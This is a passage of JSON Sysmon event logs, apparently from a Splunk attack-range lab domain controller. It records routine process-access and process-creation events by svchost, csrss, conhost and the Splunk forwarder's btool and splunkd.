11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00107A220500}\r\nTargetProcessId: 2844\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00107A220500}","TargetProcessId":"2844","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nProcessGuid: {90617006-407B-5F2D-0000-00103B230500}\r\nProcessId: 3212\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407B-5F2D-0000-00107A220500}\r\nParentProcessId: 2844\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","ProcessGuid":"{90617006-407B-5F2D-0000-00103B230500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407B-5F2D-0000-00107A220500}","ParentProcessId":"2844","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-00107A220500}\r\nSourceProcessId: 2844\r\nSourceThreadId: 3224\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00103B230500}\r\nTargetProcessId: 3212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-407B-5F2D-0000-00107A220500}","SourceProcessId":"2844","SourceThreadId":"3224","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00103B230500}","TargetProcessId":"3212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00103B230500}\r\nTargetProcessId: 3212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00103B230500}","TargetProcessId":"3212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 